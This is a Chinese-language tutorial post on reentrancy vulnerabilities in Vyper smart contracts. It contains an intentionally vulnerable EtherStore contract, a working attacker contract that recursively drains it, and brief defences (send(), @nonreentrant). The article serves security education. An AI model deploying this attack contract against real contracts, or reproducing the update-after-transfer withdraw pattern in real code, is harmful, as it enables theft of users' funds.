{"content":{"title":"Vyper重入漏洞解析","body":"## 什么是重入攻击\r\nReentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时，就会发生重入攻击。然后，不可信合约会递归调用原始函数，试图耗尽资金。\r\n\r\n当合约在发送资金之前未能更新其状态时，攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击，导致损失了6000万美元。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/06/dLTCymPD66652d3b3a2e3.png)\r\n## 重入攻击工作原理\r\n\r\n重入攻击涉及两个智能合约。一个是易受攻击的合约，另一个是攻击者的不可信合约。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/06/HMXW7hVx66652deef3a74.png)\r\n## 重入攻击场景\r\n\r\n1. 易受攻击的智能合约有10个ETH。\r\n2. 攻击者使用存款函数存入1个ETH。\r\n3. 攻击者调用提取函数，并将恶意合约作为接收者。\r\n4. 现在提取函数将验证它是否可以执行：\r\n\r\n- 攻击者在其余额上有1个ETH吗？是的，因为他们的存款。\r\n- 向恶意合约转移1个ETH。（注意：攻击者的余额尚未更新）\r\n- 恶意合约接收到ETH后的回退函数再次调用提取函数。\r\n\r\n**现在提取函数将再次验证它是否可以执行：**\r\n\r\n* 攻击者在其余额上有1个ETH吗？是的，因为余额尚未更新。\r\n* 向恶意合约转移1个ETH。\r\n* 如此反复，直到攻击者耗尽合约中的所有资金。\r\n\r\n## Vyper重入攻击\r\n可能大家对solidity的智能合约重入攻击比较熟悉，本次文章中，我们将以Vyper的代码展示重入攻击的漏洞。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/06/cHWnzzvg66652f046c49c.png)\r\n\r\n### Vyper存在重入攻击的代码示例\r\n\r\n```\r\n# @version >=0.3.2\r\n\r\n\"\"\"\r\n@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.\r\nThis contract is vulnerable to re-entrancy attack. Here is the attack flow:\r\n1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.\r\n2. Deploy the Attack contract.\r\n3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).\r\n   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,\r\n   plus 1 Ether sent from this contract).\r\n\r\nWhat happened?\r\nAttack was able to call EtherStore.withdraw multiple times before\r\nEtherStore.withdraw finished executing.\r\n\"\"\"\r\n\r\n# @notice Mapping from address to ETH balance held in the contract\r\nbalances: public(HashMap[address, uint256])\r\n\r\n# @notice Function to deposit ETH into the contract\r\n@external\r\n@payable\r\ndef deposit():\r\n    self.balances[msg.sender] += msg.value\r\n\r\n# @notice Function to withdraw the ETH deposited into the contract\r\n@external\r\ndef withdraw():\r\n    bal: uint256 = self.balances[msg.sender]\r\n    assert bal > 0, \"This account does not have a balance\"\r\n    # @dev Send the user's balance to them using raw call\r\n    raw_call(msg.sender, b'', value=bal)\r\n    # @dev Set user's balance to 0\r\n    self.balances[msg.sender] = 0\r\n\r\n# @notice Helper function to get the balance of the contract\r\n@external\r\n@view\r\ndef getBalance() -> uint256:\r\n    return self.balance\r\n```\r\n### Vyper利用上述重入漏洞的攻击合约\r\n```\r\n# @version >=0.3.2\r\n\r\n\"\"\"\r\n@notice Here is the order of function calls during the attack\r\n- Attack.attack\r\n- EtherStore.deposit\r\n- EtherStore.withdraw\r\n- Attack.default (receives 1 Ether)\r\n- EtherStore.withdraw\r\n- Attack.default (receives 1 Ether)\r\n- EtherStore.withdraw\r\n- Attack.ldefault (receives 1 Ether)\r\n\"\"\"\r\n\r\n# @notice Interface with the Etherstore contract\r\ninterface IEtherstore:\r\n  def deposit(): payable\r\n  def withdraw(): nonpayable\r\n  def getBalance() -> uint256: view\r\n\r\n# @notice The address where the Etherstore contract is deployed\r\nvictim: public(address)\r\n\r\n# @notice Set the victim address\r\n@external\r\ndef setVictim(_victim:address):\r\n    self.victim = _victim\r\n\r\n# @notice Default is called when EtherStore sends ETH to this contract.\r\n@external\r\n@payable\r\ndef __default__():\r\n # @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)\r\n if IEtherstore(self.victim).getBalance() >= as_wei_value(1, \"ether\"):\r\n        IEtherstore(self.victim).withdraw()\r\n\r\n@external\r\n@payable\r\ndef attack():\r\n    assert msg.value >= as_wei_value(1, \"ether\"), \"Must send 1 ETH\"\r\n    IEtherstore(self.victim).deposit(value=as_wei_value(1, \"ether\"))\r\n    IEtherstore(self.victim).withdraw()\r\n\r\n# @notice Helper function to get the balance of the contract\r\n@external\r\n@view\r\ndef getBalance() -> uint256:\r\n    return self.balance\r\n```\r\n## Vyper重入漏洞防御措施\r\n\r\n1. **使用 `send()` 代替 `call()`**：重入攻击将失败，因为 `send()` 不会转发足够的 gas 进行下一步操作。\r\n   \r\n2. **使用 `@nonreentrant(<key>)` 修饰符**：在你的提取函数上应用此修饰符将阻止重入攻击。\r\n\r\n## 总结\r\n在这篇文章中，我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁，当合约在发送资金之前未能更新其状态时，攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见，在Vyper智能合约中同样应该注意！"},"author":{"user":"https://learnblockchain.cn/people/20115","address":null},"history":null,"timestamp":1717907663,"version":1}